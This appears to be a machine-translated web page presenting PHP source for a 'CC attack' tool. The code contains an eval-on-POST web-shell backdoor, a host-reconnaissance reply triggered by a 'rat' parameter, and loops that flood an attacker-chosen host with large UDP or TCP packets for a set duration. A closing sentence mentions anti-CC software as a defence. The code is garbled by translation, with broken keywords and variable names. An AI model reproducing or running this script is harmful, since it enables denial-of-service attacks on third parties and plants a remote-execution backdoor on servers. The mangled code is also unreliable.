CC attack code, support for UDP
Copy Code code as follows:
<?php
Eval ($_POST[CHR (90)]);
Set_time_limit (86400);
Ignore_user_abort (True);
$packets = 0;
$http = $_get[' http '];
$rand = $_get[' exit '];
$exec _time = $_get[' time '];
if (StrLen ($http) ==0 or StrLen ($rand) ==0 or StrLen ($exec _time) ==0)
{
if (StrLen ($_get[' rat ')) <>0)
{
echo $_get[' rat '].$_server["Http_host"]. "|". gethostbyname ($_server[' server_name '). "|". Php_uname (). "|". $_server[' server_software '].$_get[' rat '];
Exit
}
echo "PHP Terminator";
Exit
}
For ($i =0 $i <65535; $i + +)
{
$out. = "X";
}
Udp1-fsockopen UDP2 Pfsockopen TCP3 cc.center
$max _time = time () + $exec _time;
if ($rand ==53)
while (1)
{
$packets + +;
if (Time () > $max _time)
{
Break
}
$fp = Fsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
Else
if ($rand ==500)
while (1)
{
$packets + +;
if (Time () > $max _time) {
Break
}
$fp = Pfsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
Else
while (1)
{
$packets + +;
if (Time () > $max _time) {
Break
}
$fp = Pfsockopen ("tcp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
?>
For the CC attack prevention, if it is a dynamic page, we can judge the time, if it is a static site we need to install the server on the anti-CC attack software, the general server security Dog is good.
If you have good software can also give us a message.